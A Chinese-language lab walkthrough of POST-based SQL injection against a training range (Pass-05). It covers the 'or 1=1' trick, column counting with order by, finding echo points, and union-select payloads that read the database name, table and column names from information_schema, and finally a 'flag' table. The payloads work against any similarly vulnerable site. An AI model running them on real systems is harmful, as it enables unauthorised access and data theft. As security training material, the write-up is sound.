注入环境:http://inject2.lab.aqlab.cn:81/Pass-05/index.php 攻击流程: 1;判断是否存在sql注入漏洞。 2;判断网页存在字段数。 3;判断回显点。 4;获取信息。 测试开始: 测试目标获取管理员账号密码
区别: GET传参的数据有限,比较少 POST传参的数据可以比较大
可以达到很多效果 —— 文件上传
必须要前面正确,后面的语句才能跟着执行, 而像union这种语句,不管前面的SQL语句正确与否,都可以执行,但是像 order by 1的SQL语句必须前面正确,然后order by 1才能执行,后面图片可以看到
GET传参会经过URL编码 POST不会URL编码,比如注释符号:#的URL编码是 %23 ,但是POST并不会解析这个URL编码
select * from user where username=‘a’ or 1=1 # 表示查询a的字段,由于表里面没有,就会报错,但是后面跟的是或,就算前面不对,后面的1=1 成立了,一样表示对。
这里我们1,2,3都判断了,一直判断到4的时候报错,那么就说明这里的字段有3段
这里判回显点的时候,我们要把 or 1=1 去掉,不然数据库会以为 1=1 正确,然后直接执行,而忽略后面的联合查询
4;获取信息。 a’ union select 1,database(),version()# 获取当前正在使用的数据库 和数据库版本 获取当前数据库表名 a’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 注释:information_schema group_concat() table_name table_schema 不懂的请看显错注入(一)显错注入(一) 获取表的字段名(flag表) a’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag’ # 注释:information_schema group_concat() table_name table_schema column_name 不懂的请看显错注入(一)显错注入(一)
a’ union select 1,group_concat(Id),group_concat(flag) from flag # 获取成功!!!!